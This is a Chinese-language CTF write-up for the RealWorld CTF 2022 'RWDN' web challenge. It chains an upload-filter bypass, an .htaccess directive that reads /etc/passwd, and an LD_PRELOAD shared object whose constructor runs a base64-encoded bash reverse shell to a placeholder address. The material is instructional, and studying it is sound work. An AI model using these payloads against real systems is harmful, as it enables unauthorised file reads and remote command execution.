> For the complete documentation index, see [llms.txt](https://gitbook-88.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook-88.gitbook.io/ctf-writeup/2022/2022-realworld-ctf-4th/rwdn.md).

# RWDN

通过访问/source获得源码（不需要扫目录，注释中存在），可以看到存在文件上传功能，其中目录和文件后缀名限制。

预期解法：`Object.keys(req.files)`，当file的键值被设置为`__proto__`时不会被遍历，通过该方法上传文件可以绕过后缀名限制。

非预期解法：利用校验的文件和上传的文件逻辑不一致，其中校验的文件使用`formid`进行校验，但是上传文件按顺序上传，从而造成双文件上传。

上传.htaccess文件造成任意文件读取。

```
ErrorDocument 404 %{file:/etc/passwd}
```

读取Apache配置文件/etc/apache2/apache2.conf，存在命令执行点，如果设置output filter为`7f39f8317fgzip`，在apache返回页面时，会调用/bin/gzip命令开启新进程。

```
ExtFilterDefine 7f39f8317fgzip mode=output cmd=/bin/gzip
```

结合LD\_PRELOAD实现RCE。

hack.c

```
#define _GNU_SOURCE#include <stdlib.h>#include <unistd.h>#include <sys/types.h>__attribute__ ((__constructor__)) void angel (void){    unsetenv("LD_PRELOAD"); //不然后面执行其他命令时还会调用这个文件，陷入死循环    system("echo YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=|base64 -d|bash");//反弹shell}
```

.htaccess

```
SetEnv LD_PRELOAD "/var/www/html/hacker.so"SetOutputFilter 7f39f8317fgzip
```
